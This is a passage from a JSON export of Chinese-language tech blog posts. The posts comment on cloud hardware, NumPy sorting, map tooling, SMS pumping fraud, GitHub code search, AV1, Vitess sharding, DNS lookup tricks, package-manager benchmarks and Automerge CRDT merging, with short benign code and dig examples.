href=\"https://en.wikipedia.org/wiki/DDR4_SDRAM\">DDR4</a> 變到 <a href=\"https://en.wikipedia.org/wiki/DDR5_SDRAM\">DDR5</a>，這使得記憶體的傳輸頻寬提昇了 50%：\r\n\r\n<blockquote>Both types of instances are equipped with DDR5 memory, which provides up to 50% higher memory bandwidth than the DDR4 memory used in previous generations.</blockquote>\r\n\r\n接下來是看有沒有下放到 <code>t</code> 系列的計畫，像是 <code>t5g</code> 之類的，有的話再用看看好了，不過 blog 這台已經買了三年 RI，等到期間滿了之後說不定都有 Graviton4 或是 Graviton5 了...",
    "title": "AWS 推出了 Graviton3 的機種"
  },
  {
    "id": "11064",
    "body": "先前看到「<a href=\"https://tech.marksblogg.com/python-data-visualisation-charts-graphs-plots.html\">Python Data Visualisation</a>」這篇就在研究要怎麼在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 桌面環境下用 <a href=\"https://www.python.org/\">Python</a> 搭配 <a href=\"https://pypi.org/project/altair/\">Altair</a> 生圖，在寫一些文件的時候會方便一些。\r\n\r\n但先前一直卡住 (不是生不出來，而是流程不順)，所以就放在 browser tab 上面一直沒動。直到前幾天看到 <a href=\"https://github.com/jupyterlab/jupyterlab-desktop\">JupyterLab Desktop</a> 改版，想說來看看改得如何：「<a href=\"https://blog.jupyter.org/introducing-the-new-jupyterlab-desktop-bca1982bdb23\">Introducing the new JupyterLab Desktop!</a>」。\r\n\r\n先講一下結論，安裝不算太困難，界面也不差 (畢竟是重點)，但 interface bug 很多，常常按下去沒反應 XD\r\n\r\n第一次跑的時候我先把 <a href=\"https://www.python.org/\">Python</a> 的環境指到 <a href=\"https://github.com/pyenv/pyenv\">pyenv</a> 的 <code>~/.shim/python3</code>。\r\n\r\n先拿文章裡的範例丟進去跑：\r\n\r\n<pre>import altair as alt\r\nfrom vega_datasets import data\r\n\r\nsource = data.stocks()\r\n\r\nalt.Chart(source).mark_line().encode(\r\n    x='date',\r\n    y='price',\r\n    color='symbol',\r\n    strokeDash='symbol',\r\n)</pre>\r\n\r\n會長這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EdHZE5M.webp\" /><img src=\"https://i.gslin.com/imgur/EdHZE5M.png\" alt=\"\" /></picture>\r\n\r\n然後輸出圖表的右邊的 menu icon 展開後可以選 Save as PNG 存成圖片。\r\n\r\n雖然不能直接存到 clipboard 方便我直接貼到 <a href=\"https://imgur.com/\">Imgur</a>，但至少可以先打磨出想要的圖，再輸出成檔案處理...",
    "title": "拿 JupyterLab 生一些圖"
  },
  {
    "id": "11065",
    "body": "從龍哥這邊看到的消息，<a href=\"https://webkit.org/\">WebKit</a> 要支援 <a href=\"https://www.w3.org/TR/css-nesting-1/\">nested CSS</a> 了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/B2FCjrv.png\" /><img src=\"https://i.gslin.com/imgur/B2FCjrv.png\" alt=\"\" /></picture>\r\n\r\n原文在「<a href=\"https://webkit.org/blog/13813/try-css-nesting-today-in-safari-technology-preview/\">Try out CSS Nesting today</a>」這邊，就是這樣的寫法：\r\n\r\n<pre>.foo {\r\n  color: green;\r\n .bar {\r\n    font-size: 1.4rem;\r\n  }\r\n}</pre>\r\n\r\n這個在很多預處理的工具都會支援，然後編譯成展開的形式。\r\n\r\n比較特別的是在 nested CSS 中不支援 element 的指定：\r\n\r\n<pre>main {\r\n article { ... }\r\n}</pre>\r\n\r\n他寫的理由我是看不太懂：\r\n\r\n<blockquote>That code will fail, because article begins with a letter, and not a symbol. How will it fail? The same way it would fail if you’d misspelled article as atirlce. The nested CSS which depends on that particular selector is simply ignored.</blockquote>\r\n\r\n反而要用個奇怪的設計去繞開：\r\n\r\n<pre>main {\r\n &amp; article { ... }\r\n}</pre>\r\n\r\n這邊是真的沒看懂在閃什麼問題...",
    "title": "WebKit 要支援 nested CSS 了"
  },
  {
    "id": "11066",
    "body": "<a href=\"https://www.intel.com/\">Intel</a> 用 <a href=\"https://en.wikipedia.org/wiki/AVX-512\">AVX-512</a> 加速 <a href=\"https://numpy.org/\">NumPy</a> 排序的實做被整合進主線了：「「<a href=\"https://www.phoronix.com/news/Intel-AVX-512-Quicksort-Numpy\">Intel Publishes Blazing Fast AVX-512 Sorting Library, Numpy Switching To It For 10~17x Faster Sorts</a>」」。\r\n\r\nGitHub 的 PR 在「<a href=\"https://github.com/numpy/numpy/pull/22315/\">ENH: Vectorize quicksort for 16-bit and 64-bit dtype using AVX512 #22315</a>」這邊，可以看到相關的留言：\r\n\r\n<blockquote>This patch adds AVX512 based 64-bit on AVX512-SKX and 16-bit sorting on AVX512-ICL. All the AVX512 sorting code has been reformatted as a separate header files and put in a separate folder. The AVX512 64-bit sorting is nearly 10x faster and AVX512 16-bit sorting is nearly 16x faster when compared to <code>std::sort</code>. <del>Still working on running NumPy benchmarks to get exact benchmark numbers</del>\r\n\r\n16-bit int sped up by <strong>17x</strong> and float64 by nearly <strong>10x</strong> for random arrays. Benchmarked on a 11th Gen Tigerlake i7-1165G7.</blockquote>\r\n\r\n有點「有趣」的情況是，AVX-512 在新的 Intel 消費級 CPU 被拔掉了，只有伺服器工作站的 CPU 有保留。而 <a href=\"https://www.amd.com/\">AMD</a> 的 <a href=\"https://en.wikipedia.org/wiki/Zen_4\">Zen 4</a> 則是跳下去支援 AVX-512...\r\n\r\n另外在「<a href=\"https://news.ycombinator.com/item?id=34810610\">Intel Publishes Fast AVX-512 Sorting Library, 10~17x Faster Sorts in NumPy (phoronix.com)</a>」這邊當然也有人提到，如果用更廣泛的 <a href=\"https://en.wikipedia.org/wiki/AVX2\">AVX2</a> (寬度是 256bits) 加速的話應該也會有很大的進步才對？幾乎這十年的 CPU 都有 AVX2 了... 不過看起來沒有什麼深入的討論？",
    "title": "Intel 用 AVX-512 加速 NumPy 的排序演算法被整合進主線了"
  },
  {
    "id": "11068",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面看到「<a href=\"https://www.kschaul.com/post/2023/02/16/how-the-post-is-replacing-mapbox-with-open-source-solutions/\">How The Post is replacing Mapbox with open source solutions</a>」這篇，講<a href=\"https://en.wikipedia.org/wiki/The_Washington_Post\">華盛頓郵報</a>怎麼把 <a href=\"https://en.wikipedia.org/wiki/Mapbox\">Mapbox</a> 換成 open source 方案，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=34836700\">Replacing Mapbox with open source solutions (kschaul.com)</a>」這邊。\r\n\r\n維基百科有提到大概兩年前，2020 年底的時候 <a href=\"https://github.com/mapbox/mapbox-gl-js\">Mapbox GL JS</a> 從開源授權換成私有授權了 (也可以參考先前寫的「<a href=\"https://blog.gslin.org/archives/2021/04/05/10107/mapbox-gl-js-%E7%9A%84%E6%8E%88%E6%AC%8A%E6%94%B9%E8%AE%8A%EF%BC%8C%E4%BB%A5%E5%8F%8A-maplibre-gl-%E7%9A%84%E8%AA%95%E7%94%9F/\">Mapbox GL JS 的授權改變，以及 MapLibre GL 的誕生</a>」這篇)：\r\n\r\n<blockquote>In December 2020, Mapbox released the second version of their JavaScript library for online display of maps, Mapbox GL JS. Previously open source code under a BSD license, the new version switched to proprietary licensing. This resulted in a fork of the open source code, MapLibre GL, and initiation of the MapLibre project.</blockquote>\r\n\r\n裡面題到了四個工具。\r\n\r\n第一個是 <a href=\"https://github.com/openmaptiles/openmaptiles\">OpenMapTiles</a>，下載部份的圖資使用，對於報導只需要某個區域很方便：\r\n\r\n<blockquote>OpenMapTiles is an extensible and open tile schema based on the OpenStreetMap. This project is used to generate vector tiles for online zoomable maps. OpenMapTiles is about creating a beautiful basemaps with general layers containing topographic information.</blockquote>\r\n\r\n第二個是 <a href=\"https://github.com/maputnik/editor\">Maputnik</a>，可以修改圖資呈現的方式：\r\n\r\n<blockquote>A free and open visual editor for the Mapbox GL styles targeted at developers and map designers.</blockquote>\r\n\r\n第三個是 <a href=\"https://protomaps.com/\">PMTiles</a>，可以將圖資檔案塞到一個大檔案裡面，然後透過 <a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests\">HTTP range requests</a> 下載需要的部份就好，大幅下降 HTTP request 所需要的費用 (很多 <a href=\"https://en.wikipedia.org/wiki/Content_delivery_network\">CDN</a> 會依照 HTTP request 數量收費)：\r\n\r\n<blockquote>Protomaps is a serverless system for planet-scale maps.\r\n\r\nAn alternative to map APIs at 1% the cost, via single static files on your own cloud storage. Deploy datasets like OpenStreetMap for your site in minutes.</blockquote>\r\n\r\n最後就是 fork 出來開源版本的 <a href=\"https://github.com/maplibre/maplibre-gl-js/\">maplibre-gl-js</a>：\r\n\r\n<blockquote>MapLibre GL JS is an open-source library for publishing maps on your websites or webview based apps. Fast displaying of maps is possible thanks to GPU-accelerated vector tile rendering.\r\n\r\nIt originated as an open-source fork of mapbox-gl-js, before their switch to a non-OSS license in December 2020. The library's initial versions (1.x) were intended to be a drop-in replacement for the Mapbox’s OSS version (1.x) with additional functionality, but have evolved a lot since then.</blockquote>\r\n\r\n這樣看起來好像可以用在像 <a href=\"https://kktix.com/\">KKTIX</a> 這種下面顯示固定地圖的地方：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UOBQ70L.webp\" /><img src=\"https://i.gslin.com/imgur/UOBQ70L.png\" alt=\"\" /></picture>",
    "title": "華盛頓郵報怎麼把 Mapbox 換成其他 open source 方案"
  },
  {
    "id": "11069",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=34847650\">Twitter Lost $60M a Year Because 390 Telcos Used Bot Accounts to Pump A2P SMS (commsrisk.com)</a>」這篇，內文報導是這裡：「<a href=\"https://commsrisk.com/elon-musk-says-twitter-lost-60mn-a-year-because-390-telcos-used-bot-accounts-to-pump-a2p-sms/\">Elon Musk Says Twitter Lost $60mn a Year Because 390 Telcos Used Bot Accounts to Pump A2P SMS</a>」。\r\n\r\n簡訊的實際成本極低，但利潤超級高，發送方與接收方都有極大的獲利空間。\r\n\r\n而這邊提到的 SMS pumping 的方式就是電信商自己做，或是電信商與第三方合作，利用各種發簡訊的方式 (內容不重要)，讓 app 端要付出大量的簡訊成本，進而產生出大量的利潤。\r\n\r\n在 <a href=\"https://www.twilio.com/\">Twilio</a> 的「<a href=\"https://support.twilio.com/hc/en-us/articles/8360406023067-SMS-Traffic-Pumping-Fraud\">SMS Traffic Pumping Fraud</a>」這頁就有這張圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LgdZq1B.webp\" /><img src=\"https://i.gslin.com/imgur/LgdZq1B.png\" alt=\"\" /></picture>\r\n\r\n簡訊的特點是很好 scale，你無法同時間接大量的電話，但可以同時間收大量的簡訊。在「<a href=\"https://interactive.twilio.com/sms-traffic-pumping-calculator\">SMS Fraud is costing you more than you realize</a>」這邊也有提到這個問題。\r\n\r\n這個問題在去年年底在我們自家的服務上就有看到跡象 (東南亞市場頗明顯)，當時搜尋有一些討論，而現在看起來 <a href=\"https://en.wikipedia.org/wiki/Elon_Musk\">Elon Musk</a> 這次吵應該又會有更多熱度...\r\n\r\n話說這樣演化下去，SMS 認證的退場又多了一個理由，除了 <a href=\"https://en.wikipedia.org/wiki/Signalling_System_No._7\">SS7</a> 在資安上的安全問題外，看起來成本問題也會跑進來。",
    "title": "「SMS 認證」被電信商 (以及第三方) 拿來套利的市場"
  },
  {
    "id": "11070",
    "body": "前陣子 <a href=\"https://github.com/\">GitHub</a> 發了一篇文章，說明自己開發搜尋引擎的心路歷程：「<a href=\"https://github.blog/2023-02-06-the-technology-behind-githubs-new-code-search/\">The technology behind GitHub’s new code search</a>」。\r\n\r\n看了一下其實就是自己幹了一套 search engine cluster，然後針對 code search 把一些功能放進去。\r\n\r\n目前這套 search enginer 還是 beta 版本，全站兩億個 repository 只包括了 4500 萬 (大概 22% 左右)，然後已經有 115TB 的程式碼了；另外也題到了先前導入 <a href=\"https://www.elastic.co/elasticsearch/\">Elasticsearch</a> 時的數字是 800 萬個 repository：\r\n\r\n<blockquote>GitHub’s scale is truly a unique challenge. When we first deployed Elasticsearch, it took months to index all of the code on GitHub (about 8 million repositories at the time). Today, that number is north of 200 million, and that code isn’t static: it’s constantly changing and that’s quite challenging for search engines to handle. For the beta, you can currently search almost 45 million repositories, representing 115 TB of code and 15.5 billion documents.</blockquote>\r\n\r\n目前是 32 台機器，沒有特別提到記憶體大小，也沒有提到 replication 之類的數字：\r\n\r\n<blockquote>Code search runs on 64 core, 32 machine clusters.</blockquote>\r\n\r\n然後各種 inverted index 與各種資料在壓縮後只有 25TB：\r\n\r\n<blockquote>There are some big wins on the size of the index as well. Remember that we started with 115 TB of content that we want to search. Content deduplication and delta indexing brings that down to around 28 TB of unique content. And the index itself clocks in at just 25 TB, which includes not only all the indices (including the ngrams), but also a compressed copy of all unique content. This means our total index size including the content is roughly a quarter the size of the original data!</blockquote>\r\n\r\n換算一下，就會發現現在已經是「暴力」可以解很多事情的年代了，而這已經是全世界最大的 code hosting。\r\n\r\n以前隨便一個主題搞大一點就會撞到 <a href=\"https://en.wikipedia.org/wiki/Amdahl%27s_law\">Amdahl's law</a>，現在輕鬆不少...",
    "title": "GitHub 自己開發的搜尋引擎"
  },
  {
    "id": "11072",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=34866808\">Infinite-Storage-Glitch – Use YouTube as cloud storage for any files (github.com/dvorakdwarf)</a>」這個討論，裡面的專案在 <a href=\"https://github.com/DvorakDwarf/Infinite-Storage-Glitch\">DvorakDwarf/Infinite-Storage-Glitch</a> 這邊。\r\n\r\n這種搞法有點像是以前 <a href=\"https://web.archive.org/web/20170611171407/http://easylearn.bhes.ntpc.edu.tw/high/lovema_intr.htm\">Love machine</a> 的玩法，記得當年是和信這樣玩去塞爆 <a href=\"https://www.hinet.net/\">HiNet</a> 跟 <a href=\"https://www.twix.net/\">TWIX</a> 中間的頻寬，算是老故事了。\r\n\r\n看起來他的作法是透過 2x2 的黑白 pixel 儲存，然後讓 <a href=\"https://www.youtube.com/\">YouTube</a> 壓縮，最終 YouTube 生出來的 mp4 檔案大概是四倍大：\r\n\r\n<blockquote>Use the embed option on the archive (THE VIDEO WILL BE SEVERAL TIMES LARGER THAN THE FILE, 4x in case of optimal compression resistance preset)</blockquote>\r\n\r\n另外真的是比較學術面的討論的話，有 <a href=\"https://en.wikipedia.org/wiki/Information_hiding\">Information hiding</a> 這個主題 (不過這次這個專案沒在演)，在討論要怎麼「藏」資訊在媒體載體上。\r\n\r\n不過現在有不少直接做免空服務的，這種方式算是好玩而已，「實用性」已經沒以前那麼高了。",
    "title": "用 YouTube 影片當作免空的方式"
  },
  {
    "id": "11073",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 整理了一份他們採用 <a href=\"https://en.wikipedia.org/wiki/AV1\">AV1</a> 的記錄：「<a href=\"https://engineering.fb.com/2023/02/21/video-engineering/av1-codec-facebook-instagram-reels/\">How Meta brought AV1 to Reels</a>」，要注意這邊的產品線是短影片類型。\r\n\r\n因為之前剛好也有碰到 codec 這塊，但最後是因為 AV1 在 client 的支援度還跟不上，而選了在 <a href=\"https://www.android.com/\">Android</a> 上支援度更好的 <a href=\"https://en.wikipedia.org/wiki/VP9\">VP9</a>。\r\n\r\n在文章前面有提到 server 端的需求，也就是 encoder 的部份，這是因為 AV1 的 encoding 真的很慢 (i.e. 外星技術)，還在每過幾個月就會看到 encoder 技術重大突破的階段，所以得花時間去研究。\r\n\r\nFacebook 後來決定用 <a href=\"https://gitlab.com/AOMediaCodec/SVT-AV1/\">SVT-AV1</a>，因為效能上好很多 (以他們測試的那個時間點)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uBhY659.webp\" /><img src=\"https://i.gslin.com/imgur/uBhY659.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>At any given point on the y-axis, SVT-AV1 can maximize encoding speed compared with any other production encoder. For example, the M8 preset is about as efficient as libvp9 preset 0, but M8 is almost 10 times faster.</blockquote>\r\n\r\n而在 client 端的 decoder 部份，他們評估了 <a href=\"https://code.videolan.org/videolan/dav1d\">dav1d</a> 與 <a href=\"https://chromium.googlesource.com/codecs/libgav1/\">libgav1</a> 之後，選擇用 dav1d (<a href=\"https://www.apple.com/ios/\">iOS</a> 與 Android 都是)：\r\n\r\n<blockquote>Two major open source software decoders are compatible with multiple platforms: dav1d was developed by VideoLAN and the open source community and can serve as an app-level decoder, while Google’s libgav1 is integrated into the Android SDK.</blockquote>\r\n\r\n<blockquote>[W]e decided to integrate dav1d into the player for both iOS and Android platforms.</blockquote>\r\n\r\n但在軟解的情況下只能解 720p30，然後中高階的才能解 1080p30，不過這對於短影片來說夠用：\r\n\r\n<blockquote>dav1d can support 720p30 real-time playback on most of the devices in our sample, achieving 1080p30 on certain mid-range and high-end models.</blockquote>\r\n\r\n所以就 Facebook 目前提供的資料來看，這部份還沒到輕鬆應對的情況，還得繼續看各家 library 的進展...",
    "title": "Facebook 使用 AV1 的記錄"
  },
  {
    "id": "11074",
    "body": "<a href=\"https://www.etsy.com/\">Etsy</a> 寫了三偏關於使用 <a href=\"https://vitess.io/\">Vitess</a> 解決資料庫效能問題的文章：「<a href=\"https://www.etsy.com/codeascraft/scaling-etsy-payments-with-vitess-part-1--the-data-model\">Scaling Etsy Payments with Vitess: Part 1 – The Data Model</a>」、「<a href=\"https://www.etsy.com/codeascraft/scaling-etsy-payments-with-vitess-part-2--the-seamless-migration\">Scaling Etsy Payments with Vitess: Part 2 – The “Seamless” Migration</a>」、「<a href=\"https://www.etsy.com/codeascraft/scaling-etsy-payments-with-vitess-part-3--reducing-cutover-risk\">Scaling Etsy Payments with Vitess: Part 3 – Reducing Cutover Risk</a>」。\r\n\r\nVitess 是 <a href=\"https://www.youtube.com/\">YouTube</a> 團隊開發出來的東西，試著透過一層 proxy 解決後端 <a href=\"https://dev.mysql.com/\">MySQL</a> 資料庫在 <a href=\"https://en.wikipedia.org/wiki/Shard_(database_architecture)\">sharding</a> 後查詢邏輯的問題。\r\n\r\n有一些地方的資訊整理出來：\r\n\r\n首先是現代暴力解的能耐，從維基百科可以查到 Etsy 在 2015 年就上市了，但到了 2020 年年底撞到 vertically scaling 的天花板 (這邊是指 <a href=\"https://cloud.google.com/\">GCP</a> 的上限)，可以看到現在的暴力法可以撐超久... 如果再多考慮到實體機房的話應該可以找到更大台的機器。\r\n\r\n第二個是 Etsy 在 2020 年年底開始從資料庫搬資料，一路到 2022 年五月，算起來差不多搬了一年半，總共轉移了 4 個 database 到 Vitess 的 cluster 上，共 23 張表格與 40B rows。\r\n\r\n第三個是利用 <a href=\"https://vitess.io/docs/15.0/reference/features/vindexes/\">Vindexes</a> 這個技術降低 sharding 時所帶來的限制。這個之前沒研究過：\r\n\r\n<blockquote>A Vindex provides a way to map a column value to a keyspace ID.</blockquote>\r\n\r\n從「<a href=\"https://vitess.io/docs/archive/pdfs/\">Older Version Docs</a>」這邊翻舊版的文件，發現 5.0+ 都有，再往 <a href=\"https://github.com/\">GitHub</a> 上面的資料翻，看起來從 2016 年的版本就有了，不過當時看起來還一直在擴充：「<a href=\"https://github.com/vitessio/vitess/releases/tag/v2.0.0-rc.1\">Vitess v2.0.0-rc.1</a>」。\r\n\r\n回來看現在的功能，有 primary vindex 的設計：\r\n\r\n<blockquote>The Primary Vindex for a table is analogous to a database primary key. Every sharded table must have one defined. A Primary Vindex must be unique: given an input value, it must produce a single keyspace ID.</blockquote>\r\n\r\n然後是 secondary vindex(es) 的設計，指到 keyspace id(s)，然後這個資訊會被用在 routing 上：\r\n\r\n<blockquote>Secondary Vindexes are additional vindexes against other columns of a table offering optimizations for WHERE clauses that do not use the Primary Vindex. Secondary Vindexes return a single or a limited set of keyspace IDs which will allow VTGate to only target shards where the relevant data is present. In the absence of a Secondary Vindex, VTGate would have to send the query to all shards (called a scatter query).\r\n\r\nIt is important to note that Secondary Vindexes are only used for making routing decisions. The underlying database shards will most likely need traditional indexes on those same columns, to allow efficient retrieval from the table on the underlying MySQL instances.</blockquote>\r\n\r\n然後是 functional vindex 與 lookup vindex，前者用演算法定義 keyspace id，後者讓你查：\r\n\r\n<blockquote>A Functional Vindex is a vindex where the column value to keyspace ID mapping is pre-established, typically through an algorithmic function. In contrast, a Lookup Vindex is a vindex that provides the ability to create an association between a value and a keyspace ID, and recall it later when needed. Lookup Vindexes are sometimes also informally referred to as cross-shard indexes.</blockquote>\r\n\r\n然後 lookup vindex 還有對 <a href=\"https://en.wikipedia.org/wiki/Consistent_hashing\">consistent hashing</a> 的支援：\r\n\r\n<blockquote>Consistent lookup vindexes use an alternate approach that makes use of careful locking and transaction sequences to guarantee consistency without using 2PC. This gives the best of both worlds, with the benefit of a consistent cross-shard vindex without paying the price of 2PC. To read more about what makes a consistent lookup vindex different from a standard lookup vindex read our consistent lookup vindexes design documentation.</blockquote>\r\n\r\n這樣整體看起來，Vitess 把所有常見的 sharding 方式都包進去了，如果以後真的遇到這個量的話，也不需要自己在 application 或是 library 做一堆事情了...",
    "title": "Etsy 使用 Vitess 的過程"
  },
  {
    "id": "11076",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=34939809\">Bizarre and unusual uses of DNS (fosdem.org)</a>」這篇，裡面把 DNS 的各種創意性的服務都整理出來了。原文在「<a href=\"https://fosdem.org/2023/schedule/event/dns_bizarre_and_unusual_uses_of_dns/\">Bizarre and Unusual Uses of DNS</a>」，是今年 <a href=\"https://en.wikipedia.org/wiki/FOSDEM\">FOSDEM</a> 的演講內容，PDF 投影片在「<a href=\"https://fosdem.org/2023/schedule/event/dns_bizarre_and_unusual_uses_of_dns/attachments/slides/5309/export/events/attachments/dns_bizarre_and_unusual_uses_of_dns/slides/5309/Rule_53_Bizarre_And_Unusual_Uses_of_DNS_DC4420_2022_09_27.pdf\">Bizarre and unusual uses of DNS</a>」這邊。\r\n\r\n裡面提到兩個服務可以抓自己的 IP address，第一組是 <a href=\"https://www.google.com/\">Google</a> 的服務，像是這樣：\r\n\r\n<pre>$ dig o-o.myaddr.l.google.com txt\r\n;; ANSWER SECTION:\r\no-o.myaddr.l.google.com. 60     IN      TXT     \"114.34.121.114\"</pre>\r\n\r\n但可以抓到我真正的 IP 是因為我自己有架設 DNS resolver。如果一般用中華電信的 DNS resolver <code>168.95.192.1</code>，會出現中華的 IP address 資訊：\r\n\r\n<pre>$ dig o-o.myaddr.l.google.com txt @168.95.192.1\r\n;; ANSWER SECTION:\r\no-o.myaddr.l.google.com. 5      IN      TXT     \"2001:b000:180:8001:0:1:10:143\"</pre>\r\n\r\n如果是用有支援 <a href=\"https://en.wikipedia.org/wiki/EDNS_Client_Subnet\">ECS</a> 的 <a href=\"https://en.wikipedia.org/wiki/Google_Public_DNS\">Google Public DNS</a> (像是 <code>8.8.8.8</code>)，則是會帶出 ECS 資訊：\r\n\r\n<pre>$ dig o-o.myaddr.l.google.com txt @8.8.8.8\r\n;; ANSWER SECTION:\r\no-o.myaddr.l.google.com. 60     IN      TXT     \"172.217.43.204\"\r\no-o.myaddr.l.google.com. 60     IN      TXT     \"edns0-client-subnet 114.34.121.0/24\"</pre>\r\n\r\n這算是技術限制了。另外一方面，<a href=\"https://www.opendns.com/\">OpenDNS</a> 提供的 <code>myip.opendns.com</code> 就沒那麼好用了。\r\n\r\n第二個是 <a href=\"https://www.team-cymru.com/\">Team Cymru</a> 提供的 DNS 服務，可以透過 DNS 查某些 IP 的 <a href=\"https://en.wikipedia.org/wiki/Autonomous_system_(Internet)\">ASN</a> 資訊，像是以中華電信 <code>168.95.192.1</code> 這個 IP 為例：\r\n\r\n<pre>$ dig 1.192.95.168.origin.asn.cymru.com txt\r\n;; ANSWER SECTION:\r\n1.192.95.168.origin.asn.cymru.com. 14400 IN TXT \"3462 | 168.95.0.0/16 | TW | apnic | 1997-04-09\"\r\n\r\n$ dig 1.192.95.168.peer.asn.cymru.com txt\r\n;; ANSWER SECTION:\r\n1.192.95.168.peer.asn.cymru.com. 14400 IN TXT   \"1239 9680 | 168.95.0.0/16 | TW | apnic | 1997-04-09\"</pre>\r\n\r\n翻了一下，<a href=\"https://bgp.he.net/AS1239\">AS1239</a> 是 <a href=\"https://en.wikipedia.org/wiki/Sprint_Corporation\">Sprint</a>，<a href=\"https://bgp.he.net/AS9680\">AS9680</a> 是中華在美國的 ASN。\r\n\r\n第三個有趣的是匯率，沒有直接開 public domain 讓大家查，你需要把 DNS 指過去查：\r\n\r\n<pre>$ dig 100USD-TWD.fx @dns.toys\r\n;; ANSWER SECTION:\r\n100USD-TWD.             3600    IN      TXT     \"100.00 USD = 3066.41 TWD\" \"2023-02-26\"</pre>",
    "title": "透過 DNS 找自己 IP、查詢 ASN 資訊以及匯率"
  },
  {
    "id": "11078",
    "body": "找資料的時候看到 <a href=\"https://pnpm.io/\">pnpm</a> 有在做幾個常見的 javascript package manager 的比較：「<a href=\"https://pnpm.io/benchmarks\">Benchmarks of JavaScript Package Managers</a>」。\r\n\r\n裡面測了九個項目，其中前八個剛好就是 cache 的有無、lockfile 的有無以及 <code>node_modules</code> 的有無，這三者的組合剛好八個，最後一個是測 update 的速度。\r\n\r\npnpm 因為用了 hard link，我先跳過去，只先關注 <a href=\"https://www.npmjs.com/\">npm</a> 與 <a href=\"https://yarnpkg.com/\">yarn</a> 的差異。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NiAImf5.webp\" /><img src=\"https://i.gslin.com/imgur/NiAImf5.png\" alt=\"\" /></picture>\r\n\r\n其中幾個比較重要的項目是 (由最重要開始列)：\r\n\r\n<ul>\r\n\t<li>with cache, with lockfile, with node_modules：這個會是一般開發的情境。</li>\r\n\t<li>update：套件有更新時的時間。</li>\r\n\t<li>with lockfile：這個會是第一次 clone 下來後的環境，以及 CI 的環境。</li>\r\n</ul>\r\n\r\n在一般開發環境下，npm 比 yarn 快一些，這點讓我比較意外，我知道 npm 這幾年一直有在改善效率，但沒想到會在 benchmark 下反超，這個是以前 yarn 很大的宣傳點，現在已經不見了。\r\n\r\n第二個是 update (upgrade) 的部份，這邊 yarn 比 npm 快一些。\r\n\r\n第三個因為是 CI 環境，或是第一次 clone 時的環境，慢通常可以被接受，不要差太多就好，而這邊 npm 比 yarn 快一些。\r\n\r\n但不管是哪個，差距都不像以前那麼大了，就效率上來說，官方的 npm 已經沒有太明顯的缺點，因為效率的差異而去選擇 yarn 的理由已經不存在了。",
    "title": "由 pnpm 做出來的效能比較：npm、yarn 以及 pnpm"
  },
  {
    "id": "11080",
    "body": "上個月看到 <a href=\"https://automerge.org/\">Automerge</a> 出了 2.0 版的消息：「<a href=\"https://news.ycombinator.com/item?id=34586433\">Automerge 2.0</a>」，Automerge 這個套件可以幫你處理複雜的 CRDT 結構 (<a href=\"https://en.wikipedia.org/wiki/Conflict-free_replicated_data_type\">Conflict-free replicated data type</a>)。\r\n\r\n可以看到 Automerge 在 2.0 之後的效能改善不少，可以跟 <a href=\"https://github.com/yjs/yjs\">yjs</a> 比較了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kWWR4bk.webp\" /><img src=\"https://i.gslin.com/imgur/kWWR4bk.png\" alt=\"\" /></picture>\r\n\r\n所以練了一下手測界面怎麼用，另外也看一下 conflict 時的處理方式。\r\n\r\n這邊先產生 <code>hello, world.</code>，然後做了三個操作，第一個是把開頭的 <code>h</code> 改成 <code>H</code>；第二個是把 <code>world</code> 改成 <code>test</code>；第三個是把 <code>world</code> 改成 <code>example</code>：\r\n\r\n<pre>(() =&gt; {\r\n  const Automerge = require('@automerge/automerge');\r\n\r\n  let doc1 = Automerge.init();\r\n\r\n  doc1 = Automerge.change(doc1, 'Init', doc =&gt; {\r\n    doc.text = new Automerge.Text();\r\n    doc.text.insertAt(0, 'h', 'e', 'l', 'l', 'o', ',', ' ', 'w', 'o', 'r', 'l', 'd', '.');\r\n  });\r\n  \r\n  let doc2 = Automerge.clone(doc1);\r\n  let doc3 = Automerge.clone(doc1);\r\n\r\n  doc1 = Automerge.change(doc1, 'Capitalize', doc =&gt; {\r\n    doc.text.deleteAt(0);\r\n    doc.text.insertAt(0, 'H');\r\n  });\r\n  doc2 = Automerge.change(doc2, 'world =&gt; test', doc =&gt; {\r\n    delete doc.text.deleteAt(7, 5);\r\n    doc.text.insertAt(7, 'test');\r\n  });\r\n  doc3 = Automerge.change(doc3, 'world =&gt; example', doc =&gt; {\r\n    delete doc.text.deleteAt(7, 5);\r\n    doc.text.insertAt(7, 'example');\r\n  });\r\n\r\n  let finalDoc = Automerge.merge(doc1, doc2);\r\n  finalDoc = Automerge.merge(finalDoc, doc3);\r\n  console.log(finalDoc);\r\n})();</pre>\r\n\r\n這樣最後會產生出 <code>Hello, testexample.</code>：\r\n\r\n<pre>{\r\n  text: Text {\r\n    elems: [\r\n      'H', 'e', 'l', 'l', 'o',\r\n      ',', ' ', 't', 'e', 's',\r\n      't', 'e', 'x', 'a', 'm',\r\n      'p', 'l', 'e', '.'\r\n    ]\r\n  }\r\n}</pre>\r\n\r\n這結果看起來還行。\r\n\r\n只能說以前要是有這些 library 就好了，當初在 <a href=\"https://www.kkbox.com/\">KKBOX</a> 做雲端歌單自己搞半天...",
    "title": "用 Automerge 處理 CRDT 問題"
  },
  {
    "id": "11082",
